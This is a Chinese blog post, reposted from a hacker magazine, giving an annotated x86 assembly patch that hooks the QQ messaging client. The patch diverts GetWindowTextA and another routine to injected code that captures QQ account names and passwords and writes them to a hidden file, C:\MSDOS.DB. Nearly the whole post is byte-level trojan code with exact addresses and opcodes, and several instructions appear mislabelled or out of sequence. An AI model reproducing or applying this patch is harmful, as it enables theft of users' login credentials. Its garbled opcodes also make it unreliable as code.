随笔 - 303  文章 - 883  trackbacks - 0
<2007年2月>
28293031123
45678910
11121314151617
18192021222324
25262728123
45678910

欢迎光临! 
闲聊 QQ:1074961813

随笔分类(357)

我管理的群

公共blog

  • n维空间
  • Email : java3d@126.com 群 : 12999758

参与管理的论坛

好友的blog

我的其他blog

朋友的网站

搜索

  •  

最新评论

信息来源:黑客X档案

在4002D0处写入字符串:C:\MSDOS.DB
在4002E0处写入0DH,0AH
在4002F0处写入字符串:C:\FLAGE.DB
在400300处写入代码:
400300:50                  PUSH      EAX;保存EAX的值到堆栈中
400301:58                  POP      EAX;退栈,但堆栈中已经保存了EAX的值
400302:83C408            ADD      ESP,8;退栈(2个双字),原堆栈的值暂时不会被改写
400305:A1FCF7A100      MOV      EAX,[A1F7FC];将A1F7FC单元保存的数值存放到EAX寄存器中
40030A:36870424            XCHG      EAX,SS:[ESP];交换堆栈顶与EAX的值
40030E:36874424FC      XCHG      EAX,SS:[ESP-4];交换堆栈顶与堆栈顶-4处的值
400313:36874424F8      XCHG      EAX,SS:[ESP-8];交换堆栈顶-4与堆栈顶-8处的值
400318:83EC0C            SUB      ESP,C;堆栈顶向下移动3个双字
40031B:36870424            XCHG      EAX,SS:[ESP];交换堆栈顶-8与现在堆栈顶即原堆栈底-C的值,这样做的好处是将[A1F7FC]的值存放到原堆栈顶+8处,同时,原堆栈顶+8处的值后移一个双字,在将堆栈顶-4,即进栈一个双字
40031F:FF1528D66100      CALL      GETWINDOWTEXTA;获得窗口的标题文字
400325:36870424            XCHG      EAX,SS:[ESP];保存EAX即函数返回值到堆栈顶,同时得到DS:[A1F7FC]处的值
400329:9C                  PUSHFD;保存标志寄存器的值
40032A:3D00D98E01      CMP      EAX,18ED900;比较EAX的值是否大于18ED900大于表示将在读密码或账号需要记录,小于表示没有读取密码或账号无需记录
40032F:0F8652000000      JNA      400387;无需记录则跳转
400335:60                  PUSHAD;保存16个通用寄存器的值
400336:6800000000      PUSH      0
40033B:6802000000      PUSH      2
400340:6801000000      PUSH      1
400345:6800000000      PUSH      0
40034A:6800000000      PUSH      0
40034F:68000000C0      PUSH      C0000000
400354:68F0024000      PUSH      4002F0
400359:FF15D0D26100      CALL      CREATEFILEA;调用创建文件函数,如文件存在则失败
40035F:83F8FF            CMP      EAX,-1;EAX保存有函数返回值,为-1表示不成功,其他表示成功(返回值为文件句柄)
400362:0F841E000000      JZ      400386;不成功则跳转
400368:50                  PUSH      EAX;保存文件句柄到堆栈
400369:FF1538D36100      CALL      CLOSEHANDLE;调用关闭文件函数
40036F:6884034000      PUSH      400384;保存程序返回地址
400374:FF35FCF7A100      PUSH      [A1F7FC];保存密码存放地址
40037A:FF3500F8A100      PUSH      [A1F800];保存账号存放地址
400380:6800044000      PUSH      400400;保存程序跳转地址(即调用保存用户名及密码函数)
400385:C3                  RET;程序转向
400386:61                  POPAD;还原16个通用寄存器
400387:9D                  POPFD;还原标志寄存器
400388:58                  POP      EAX;还原EAX的值
400389:6800064000      PUSH      400600;保存程序跳转地址
40038E:C3                  RET;程序转向

在400400处写入子功能代码(此功能代码的作用是将用户名及密码写入C:\MSDOS.DB文件末尾,要求参数为密码、用户名存放地址,同时要求必须先将密码压入堆栈)
400400:6800000000      PUSH      0
400405:6802000000      PUSH      2
40040A:6804000000      PUSH      4
40040F:6800000000      PUSH      0
400414:6800000000      PUSH      0
400419:68000000C0      PUSH      C0000000
40041E:68D0024000      PUSH      4002D0
400423:FF15D0D26100      CALL      CREATEFILEA;创建文件,如文件存在则打开文件,EAX返回文件句柄,如为-1则失败
400429:83F8FF            CMP      EAX,-1
40042C:0F8477000000      JZ      4004A9;失败则跳转
400432:50                  PUSH      EAX;保存文件句柄
400433:6802000000      PUSH      2
400438:6800000000      PUSH      0
40043D:6800000000      PUSH      0
400442:50                  PUSH      EAX
400443:FF1584D36100      CALL      SETFILEPOINTER;设置文件指针到文件末尾
400449:58                  POP      EAX;还原文件句柄
40044A:59                  POP      ECX;得到用户名存放地址
40044B:51                  PUSH      ECX;保存用户名存放地址
40044C:8BD8            MOV      EBX,EAX;保存句柄到EBX寄存器
40044E:51                  PUSH      ECX;保存用户名存放地址
40044F:FF151CD36100      CALL      LSTRLENA;调用得到字符串长度函数,由EAX返回字符串长度
400455:40                  INC      EAX;字符串长度加1,使程序多填入一个16进制的0(相当于空格字符),方便将用户名与密码分开
400456:59                  POP      ECX;得到用户名存放地址
400457:6800000000      PUSH      0
40045C:681CF8A100      PUSH      A1F81C
400461:50                  PUSH      EAX
400462:51                  PUSH      ECX;保存用户名存放地址
400463:53                  PUSH      EBX
400464:FF157CD36100      CALL      WRITEFILE;将用户名写入创建的文件
40046A:59                  POP      ECX;得到密码存放地址
40046B:51                  PUSH      ECX;保存密码存放地址
40046C:51                  PUSH      ECX
40046D:FF151CD36100      CALL      LSTRLENA;得到密码的长度
400473:59                  POP      ECX;得到密码存放地址
400474:6800000000      PUSH      0
400479:681CF8A100      PUSH      A1F81C
40047E:50                  PUSH      EAX
40047F:51                  PUSH      ECX
400480 :53                  PUSH      EBX
400481:FF157CD36100      CALL      WRITEFILE;将密码写入文件
400487:6800000000      PUSH      0
40048C:681CF8A100      PUSH      A1F81C
400491:6802000000      PUSH      2
400496:68E0024000      PUSH      4002E0
40049B:53                  PUSH      EBX
4004AC:FF1538D36100      CALL      WRITEFILE;将回车、换行符写入文件
4004A2:53                  PUSH      EBX;保存文件句柄
4004A3:FF1538D36100      CALL      CLOSEHANDLE;关闭文件
4004A9:C3                  RET;返回调用程序

在400500处写入代码:
400500:60                  PUSHAD
400501:68F0024000      PUSH      4002F0
400506:FF1520D36100      CALL      DELETEFILEA;删除标志文件
40050C:61                  POPAD
40050D:68538F5800      PUSH      588F53;保存原QQ程序被中断点地址
400512:64A100000000      MOV      EAX,FS:[0];原QQ程序中被替换的代码,依据环境工程学的观点应该保持程序运行环境不变,因此必须还原其寄存器、堆栈、指令,此处就是还原其被替换的指令
400518:C3                  RET;返回原QQ程序被中断点

在400600处写入代码:
400600:60                  PUSHAD
400601:6800000000      PUSH      0
400606:6802000000      PUSH      2
40060B:6801000000      PUSH      1
400610:6800000000      PUSH      0
400615:6800000000      PUSH      0
40061A:68000000C0      PUSH      C0000000
40061F:68F024000            PUSH      4002F0
400624:FF15D0D26100      CALL      CREATEFILEA;创建文件,当文件存在时则打开文件
40062A:83F8FF            CMP      EAX,-1
40062D:0F84FB000000      JZ      40072E;出错则跳转
400633:50                  PUSH      EAX;保存文件句柄
400634:8BD8            MOV      EBX,EAX;保存文件句柄到EBX寄存器
400636:6800000000      PUSH      0
40063B:681CF8A100      PUSH      A1F81C
400640:6808000000      PUSH      8
400645:FF7510            PUSH      [ESP+10]
400648:58                  POP      EAX
400649:83E804            SUB      EAX,4;得到要写入数据的地址
40064C:59                  PUSH      EAX;将其压入堆栈
40064D:90                  NOP
40064E:90                  NOP
40064F:90                  NOP
400650:53                  PUSH      EBX
400651:FF157CD36100      CALL      WRITEFILE;将数据写入文件,此处只能使用WINDOWS系统调用,WINDOWS系统调用将运行于特权级,只有它才能访问任何内存(包括读、写、执行)而不引发非法操作,否则会引发内存越权访问错误,从而引发非法操作
400657:6800000000      PUSH      0
40065C:6800000000      PUSH      0
400661:6800000000      PUSH      0
400666:53                  PUSH      EBX
400667:FF1584D36100      CALL      SETFILEPOINTER;设置文件指针到文件的开始处
40066D:58                  POP      EAX;得到文件句柄
40066E:50                  PUSH      EAX;保存文件句柄
40066F:50                  PUSH      EAX
400670:50                  PUSH      EAX;这两个EAX的存储位置实际被用于存储从文件中读取的数据,因此不用EAX寄存器用别的寄存器也行,因为我们没有写别的内存的权力,因此只有利用堆栈,任何应用程序都有修改堆栈的权利,因此,只有堆栈才能被用于暂时存放数据,而不会引发由于越权访问引发的非法操作
400671:6800000000      PUSH      0
400676:681CF8A100      PUSH      A1F81C
40067B:6808000000      PUSH      8
400680:54                  PUSH      ESP
400681:368B0424            MOV      EAX,[SS:ESP]
400685:38C010            ADD      EAX,10;修改数据写入地址
400688:36890424            MOV      [SS:ESP] ,EAX
40068C:53                  PUSH      EBX
40068D:FF15D8D26100      CALL      READFILE;将数据读取到堆栈中
400693:90                  NOP;空操作,此处是由于我修改代码造成代码不连续,从而填充空操作,是代码连续
400694:90                  NOP
400695:90                  NOP
400696:90                  NOP
……      ……                  ……
4006B5:90                  NOP
4006B6:FF1538D36100      CALL      CLOSEHANDLE;关闭标志文件
4006BC:68F0024000      PUSH      4002F0
4006C1:FF1520D36100      CALL      DELETEFILEA;删除标志文件
4006C7:58                  POP      EAX;得到密码存放地址
4006C8:5B                  POP      EBX;得到用户名存放地址
4006C9:50                  PUSH      EAX;保存密码存放地址
4006CA:53                  PUSH      EBX;保存用户名存放地址
4006CB:53                  PUSH      EBX;保存用户名存放地址
4006CC:50                  PUSH      EAX;保存密码存放地址
4006CD:FF151CD36100      CALL      LSTRLENA;得到密码的长度
4006D3:83F800            CMP      EAX,0;比较密码的长度是否为0
4006D6:740D            JZ      4006E5是则跳转
4006D8:FF151CD36100      CALL      LSTRLENA;得到用户名长度
4006DE:83F800            CMP      EAX,0;比较用户名长度是否为0
4006E1:7507            JNZ      4006EA;不为0则,跳转到保存用户名及密码的代码段
4006E3:7401            JZ      4006E6;为0则,跳转到程序结束
4006E5:5B                  POP      EBX;因堆栈被占用3个双字,因此需要3次退栈操作
4006E6:58                  POP      EAX
4006E7:58                  POP      EAX
4006E8:EB44            JMP      40072E;跳转到程序结束
4006EA:58                  POP      EAX;得到用户名存放地址
4006EB:5B                  POP      EBX;得到密码存放地址
4006EC:68F9064000      PUSH      4006F9;保存程序返回地址
4006F1:53                  PUSH      EBX;保存密码存放地址
4006F2:50                  PUSH      EAX;保存用户名存放地址
4006F3:6800044000      PUSH      400400;保存程序转移地址(即调用保存用户名及密码函数)
4006F8:C3                  RET;程序转向
4006F9:6800000000      PUSH      0
4006FE:6802000000      PUSH      2
400703:6801000000      PUSH      1
400708:6800000000      PUSH      0
40070D:6800000000      PUSH      0
400712:68000000C0      PUSH      C0000000
400717:68F0024000      PUSH      4002F0
40071C:FF15D0D26100      CALL      CREATEFILEA;创建标志文件
400722:83F8FF            CMP      EAX,-1
400725:7407            JZ      40072E
400727:50                  PUSH      EAX
400728:FF1538D36100      CALL      CLOSEHANDLE;关闭标志文件
40072E:61                  POPAD;还原16个通用寄存器的值
40072F:68E2B15C00      PUSH      5CB1E2;保存原QQ程序被中断点地址
400734:C3                  RET;返回原QQ程序被中断点地址

在5CB1DC处写入代码:
5CB1DC:6800034000      PUSH      400300
5CB1E1:C3                  RET
其原代码为FF1528D66100即CALL      GETWINDOWTEXTA

在588F4D处写入代码:
588F4D:6800054000      PUSH      400500
588F52:C3                  RET
其原代码为64A100000000即MOV      EAX,FS:[0]



地震让大伙知道:居安思危,才是生存之道。
posted on 2007-02-21 12:35 小寻 阅读(1023) 评论(0)  编辑  收藏 所属分类: 嵌入式开发计算机病毒反病毒学

只有注册用户登录后才能发表评论。


网站导航: